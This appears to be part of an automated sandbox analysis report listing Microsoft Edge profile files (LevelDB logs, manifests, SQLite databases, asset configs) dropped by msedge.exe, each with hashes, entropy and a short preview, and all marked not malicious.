C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.267332443985288
Encrypted:	false
SSDEEP:	6:iOX83Qs1cNwi23oH+Tcwtp3hBtB2KLl1837t+q2PcNwi23oH+Tcwtp3hBWsIFUv:76QWZYebp3dFLW7ovLZYebp3eFUv
MD5:	68AF8D1AF4BB2DC45E9100C242A57EA9
SHA1:	B65D6E08EE0B310C5CE4FC63EF794B3A53EA8B39
SHA-256:	149A44910EB428A880CA66476379D627737AFF6BBAB6ECE4104EECE4F87A2552
SHA-512:	15B220A4D9001EDEC1FB9A08C768BE1B8E8EC1A5993CFA90F60064467BC04F6B30F25E15D605A6B49326D48BDE9C9BBE6F28004A2330B909CFF46CEE5EBD72A2
Malicious:	false
Preview:	2025/02/14-03:37:35.239 1f08 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2025/02/14-03:37:35.253 1f08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040645929654918
Encrypted:	false
SSDEEP:	24576:kRf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kRfgAmmE
MD5:	17FC4A136FA6C7D94D64B58891BA693F
SHA1:	D634E8289701338BBC07D83BA83A68B65C66F77B
SHA-256:	B2EF9E742A1AB37A4C3B4926B25584BD5D1F8C5A16D231A0DBFAB088A3FD95CB
SHA-512:	E8EC3B5062B58604DF74636BB543C6B27E2BDE95E5E3A53DBE1A72FC275B106B00D2522D1FBD3573D2781E0B8C1CC9B2A057D5BC8573432EF9B796CED44C26C2
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.123817702363933
Encrypted:	false
SSDEEP:	6:iOX83AIq2PcNwi23oH+Tcwt9Eh1tIFUtF83DuRZmw783HOkwOcNwi23oH+Tcwt9O:76xvLZYeb9Eh16FUto+/Wu54ZYeb9Ehx
MD5:	23265CB9044C550AE91F1937287C3952
SHA1:	A5A98B48E89949A029B021F34B9ED1290C579C74
SHA-256:	1EA2889518066771B3F0393BA4DE3AE8D3E85C63A7054B4294BE698ABC4B6E85
SHA-512:	4D63BF3453A2CB49D2A481AE81AC97CF520BC26EE1A26AEF28366D121BE13D7F45FC1F26158E6D2D931026CCED2691CBE727C977501CDC69C0F44EA46137F7B3
Malicious:	false
Preview:	2025/02/14-03:37:35.098 17a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/14-03:37:35.100 17a0 Recovering log #3.2025/02/14-03:37:35.104 17a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.123817702363933
Encrypted:	false
SSDEEP:	6:iOX83AIq2PcNwi23oH+Tcwt9Eh1tIFUtF83DuRZmw783HOkwOcNwi23oH+Tcwt9O:76xvLZYeb9Eh16FUto+/Wu54ZYeb9Ehx
MD5:	23265CB9044C550AE91F1937287C3952
SHA1:	A5A98B48E89949A029B021F34B9ED1290C579C74
SHA-256:	1EA2889518066771B3F0393BA4DE3AE8D3E85C63A7054B4294BE698ABC4B6E85
SHA-512:	4D63BF3453A2CB49D2A481AE81AC97CF520BC26EE1A26AEF28366D121BE13D7F45FC1F26158E6D2D931026CCED2691CBE727C977501CDC69C0F44EA46137F7B3
Malicious:	false
Preview:	2025/02/14-03:37:35.098 17a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/14-03:37:35.100 17a0 Recovering log #3.2025/02/14-03:37:35.104 17a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4626244403400818
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBunac:TouQq3qh7z3bY2LNW9WMcUvBun/
MD5:	A7A066E890E3A36E88CBDFFBB3898DC6
SHA1:	D09087AB0DDECF3610AA3BF8A6BE7473FCCCAEED
SHA-256:	0DFCCBD6A1477F479CF37F70E9712A58DAEB0CD786AE8BDCFAA12A37794178D7
SHA-512:	B5C24191216D346CA4EC6B322AD7BDE4ADA93A4CA9CDEFFE0C0050BF0F96D92697C0AD342860735E6E63E8AE85C9AB2C2E9BA438692C0736851F8DB5F9ADB4EE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.225839021113152
Encrypted:	false
SSDEEP:	6:iOX88+q2PcNwi23oH+TcwtnG2tMsIFUtF8VLZmw78VbVkwOcNwi23oH+TcwtnG2b:7IvLZYebn9GFUtC/454ZYebn95J
MD5:	EBF36B7EA8408E9AD44FA1E0034F4A06
SHA1:	6136B5149D1BB206B2ABB0769B82C289E7CEA1DA
SHA-256:	0189CDD7B9DC0FB28E913AB086AFDF24838D0EEEE7A5A50932DBE2E34F1E6B4D
SHA-512:	37A0A3204C4B48B3C9C70AE23AD1F1DE52402D729ECF99981E6D0B5C8326FB567F17FE04B2E60AAC00ED044F5FC16398B38168C6D407238A420E4171FED7A53B
Malicious:	false
Preview:	2025/02/14-03:37:29.899 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/14-03:37:29.900 1e18 Recovering log #3.2025/02/14-03:37:29.900 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.225839021113152
Encrypted:	false
SSDEEP:	6:iOX88+q2PcNwi23oH+TcwtnG2tMsIFUtF8VLZmw78VbVkwOcNwi23oH+TcwtnG2b:7IvLZYebn9GFUtC/454ZYebn95J
MD5:	EBF36B7EA8408E9AD44FA1E0034F4A06
SHA1:	6136B5149D1BB206B2ABB0769B82C289E7CEA1DA
SHA-256:	0189CDD7B9DC0FB28E913AB086AFDF24838D0EEEE7A5A50932DBE2E34F1E6B4D
SHA-512:	37A0A3204C4B48B3C9C70AE23AD1F1DE52402D729ECF99981E6D0B5C8326FB567F17FE04B2E60AAC00ED044F5FC16398B38168C6D407238A420E4171FED7A53B
Malicious:	false
Preview:	2025/02/14-03:37:29.899 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/14-03:37:29.900 1e18 Recovering log #3.2025/02/14-03:37:29.900 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.614445378190785
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j9YfpnYsmL:TO8D4jJ/6Up+7
MD5:	AE74141A037FCE45B88445D0D3D7BD41
SHA1:	FACA6A035668704FB9CA9021A5A8E966F8DDCBC8
SHA-256:	071833AA4DD1CF56CE2AA01829E06EA0E7219D63FE312E8086ABB8215AC2946A
SHA-512:	C8EE8529D0C7AD1996F1DAFB76E99EEF879EA44C78F8C66D3CD343F852F6617FC57461A544E3286ECB906794AF747FC0896E9A97BF984E154D57606AF09B70B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354112741675467
Encrypted:	false
SSDEEP:	6144:JA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:JFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	500699C5EC8DFE05F414F622D5062F3C
SHA1:	56149A50C8A41BFC1EC8EB34877F430D22C9B4CE
SHA-256:	EF5E881F0B82720CA7D53EB0D313B72DA8B85DAA072A6D83D0F5FBFC94312841
SHA-512:	A7C5E69A8E1E1E5B37B96FCA4B1A59C2634FBA9F03886D1AC6B653FC27CD84E299B7D5339EF93CB318AF10E54E318600E3A73D387E171AF82D30EFFD67ED027B
Malicious:	false
Preview:	...m.................DB_VERSION.1J.{.q...............&QUERY_TIMESTAMP:domains_config_gz2...13383995856602271..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.1870384654706045
Encrypted:	false
SSDEEP:	6:iOX836+hq1cNwi23oH+Tcwtk2WwnvB2KLl183uPOq2PcNwi23oH+Tcwtk2WwnvIg:761cZYebkxwnvFLWuWvLZYebkxwnQFUv
MD5:	C66CC3D4CC066518F0F24D3853685DBB
SHA1:	36304997E3C11CB807788F57B3733FD91F10CE19
SHA-256:	DE56136F3BFFABED2CC1703E86B6A5218FE5DBE33167125A580EC641587926EE
SHA-512:	283AA2038BB4ACE5991AAC13776BDACE8E01EB34BF39CAD4812085B6D816C600839385053851A7601C976E347B7C0CECBB5A48CF405C1844A9455EF919EEA8EE
Malicious:	false
Preview:	2025/02/14-03:37:35.302 14f0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/14-03:37:35.926 14f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324617072520291
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RW:C1gAg1zfvO
MD5:	93B5E5FE9EE4E43A40F3C87F17D2A0C1
SHA1:	DAA8CE7A5CC6448C653F84B9174DDD37C5579F05
SHA-256:	1A4C235E019C42C4558E1DFBFE89763FFF882AFDBF6B2A4C01EA083CCE6B71C3
SHA-512:	C4D84C412DD3CA7E59D76D3A995E7CE694DBC41DA69FBE5A95BF9214FDC5764E97A37A174CEA86662FDE7C456095FCCFD8A07179554D9D3AC3288839571D5C44
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.204121407262873
Encrypted:	false
SSDEEP:	6:iOX8jFC+q2PcNwi23oH+Tcwt8aPrqIFUtF8XZZmw78XNVkwOcNwi23oH+Tcwt8a4:7QvLZYebL3FUtOZ/kz54ZYebQJ
MD5:	F8BD14CB1019871B7D326A87C29296B0
SHA1:	58167A05232F0DAE386673287146E911D54A2406
SHA-256:	EE17300D3A94DEC343706A41FFA66A3EEC2132BCBFC78B2F1E2A7BF2674EE61E
SHA-512:	F68D02BD6EA35A8621CE70FE11AE189364DB1172DA66027D61464D56DE01132C70C39919D9C8A42F0C11892565E94A4F08AE8A42636EB97325109A05E03E4BB0
Malicious:	false
Preview:	2025/02/14-03:37:29.907 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/14-03:37:29.908 1e18 Recovering log #3.2025/02/14-03:37:29.908 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.204121407262873
Encrypted:	false
SSDEEP:	6:iOX8jFC+q2PcNwi23oH+Tcwt8aPrqIFUtF8XZZmw78XNVkwOcNwi23oH+Tcwt8a4:7QvLZYebL3FUtOZ/kz54ZYebQJ
MD5:	F8BD14CB1019871B7D326A87C29296B0
SHA1:	58167A05232F0DAE386673287146E911D54A2406
SHA-256:	EE17300D3A94DEC343706A41FFA66A3EEC2132BCBFC78B2F1E2A7BF2674EE61E
SHA-512:	F68D02BD6EA35A8621CE70FE11AE189364DB1172DA66027D61464D56DE01132C70C39919D9C8A42F0C11892565E94A4F08AE8A42636EB97325109A05E03E4BB0
Malicious:	false
Preview:	2025/02/14-03:37:29.907 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/14-03:37:29.908 1e18 Recovering log #3.2025/02/14-03:37:29.908 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.163402472661648
Encrypted:	false
SSDEEP:	6:iOX83hJE3+q2PcNwi23oH+Tcwt865IFUtF83hFHZZmw783hFHNVkwOcNwi23oH+v:76hJ1vLZYeb/WFUtohFZ/WhFz54ZYebD
MD5:	3677F2B311B0AC448F8BEA1106CCEA75
SHA1:	BA1D77CBBC5E8BE8947A77F83788B0A405A150B5
SHA-256:	8E02B33553110C8574935BBF344C17CF387C4C67C0E1805B00587C15BAE5643F
SHA-512:	40429F1C127ED5616B72786B4E971EC7F8B8910208F10330E38024A64B8CC8CCA88382D148C8D74C852BD25CC14A18581BD3607C054F3D83DD991D52D027B3C3
Malicious:	false
Preview:	2025/02/14-03:37:30.017 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/14-03:37:30.018 1e18 Recovering log #3.2025/02/14-03:37:30.018 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.163402472661648
Encrypted:	false
SSDEEP:	6:iOX83hJE3+q2PcNwi23oH+Tcwt865IFUtF83hFHZZmw783hFHNVkwOcNwi23oH+v:76hJ1vLZYeb/WFUtohFZ/WhFz54ZYebD
MD5:	3677F2B311B0AC448F8BEA1106CCEA75
SHA1:	BA1D77CBBC5E8BE8947A77F83788B0A405A150B5
SHA-256:	8E02B33553110C8574935BBF344C17CF387C4C67C0E1805B00587C15BAE5643F
SHA-512:	40429F1C127ED5616B72786B4E971EC7F8B8910208F10330E38024A64B8CC8CCA88382D148C8D74C852BD25CC14A18581BD3607C054F3D83DD991D52D027B3C3
Malicious:	false
Preview:	2025/02/14-03:37:30.017 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/14-03:37:30.018 1e18 Recovering log #3.2025/02/14-03:37:30.018 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5.......